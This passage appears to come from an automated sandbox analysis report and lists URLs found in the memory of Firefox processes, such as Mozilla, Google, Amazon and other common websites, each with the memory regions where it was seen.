Source: firefox.exe, 00000010.00000002.3316913295.000001A8B49A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B61D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B6159000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3265309012.000001A8C0699000.00000004.00000800.00020000.00000000.sdmp, 14287614-3088-4146-9848-cff2ed487ea7.tmp.17.dr	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3325000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3236863796.000001A8C06F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3264282880.000001A8C31B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000010.00000003.3093590336.000001A8C3238000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000010.00000002.3316913295.000001A8B49A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3265309012.000001A8C0699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 00000010.00000002.3307005394.000001A8B27C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3287438057.0000029D563C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3291725111.000001F42D003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 00000010.00000003.3049091889.000001A8B6D83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048859019.000001A8B6D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3124581300.000001A8B80E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7CAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048647105.000001A8B6D50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3186917673.000001A8B80D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048185549.000001A8B6D1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3047492392.000001A8B6B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000003.3048393713.000001A8B6D36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/media.videocontrols.picture-in-picture.urlbar-but
Source: firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3265309012.000001A8C0699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 00000010.00000002.3307005394.000001A8B27C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3287438057.0000029D563C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3291725111.000001F42D003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3265309012.000001A8C0699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000010.00000003.3265309012.000001A8C0699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: firefox.exe, 00000010.00000003.3265309012.000001A8C0699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000010.00000003.3264652075.000001A8C3144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000010.00000003.3096413806.000001A8C340A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3093326567.000001A8C3238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000003.3048393713.000001A8B6D36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000010.00000003.3049091889.000001A8B6D83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048859019.000001A8B6D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3124581300.000001A8B80E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048647105.000001A8B6D50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3186917673.000001A8B80D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3323580066.000001A8B6503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048185549.000001A8B6D1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3047492392.000001A8B6B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000003.3048393713.000001A8B6D36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7CD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchq=
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000010.00000003.3144090733.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3144473251.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3140660799.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000010.00000003.3144090733.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3144473251.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3140660799.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: firefox.exe, 00000010.00000002.3313236547.000001A8B320B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 00000010.00000003.3116798829.000001A8B716B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000010.00000003.3262808062.000001A8C3D9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3233508837.000001A8C3D6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/anything/?
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: firefox.exe, 00000010.00000003.3234228250.000001A8C3AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/about/legal/terms/subscription-services/
Source: firefox.exe, 00000010.00000002.3336939375.000001A8B74A5000.00000004.00000800.00020000.00000000.sdmp, targeting.snapshot.json.tmp.16.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: firefox.exe, 00000010.00000003.3234335950.000001A8C3A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3333256582.000001A8B7005000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3339830804.000001A8B7BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 00000010.00000003.3234228250.000001A8C3AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/subscription-services/
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000010.00000003.3233508837.000001A8C3D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3262748007.000001A8C3DBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000010.00000003.3234335950.000001A8C3A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3333256582.000001A8B7005000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3339830804.000001A8B7BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 00000010.00000002.3307005394.000001A8B2755000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3287438057.0000029D563C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CDF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000010.00000003.3234335950.000001A8C3A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3339830804.000001A8B7BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000010.00000002.3280593868.00000058EBD3B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000010.00000003.3242315863.000001A8B9F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
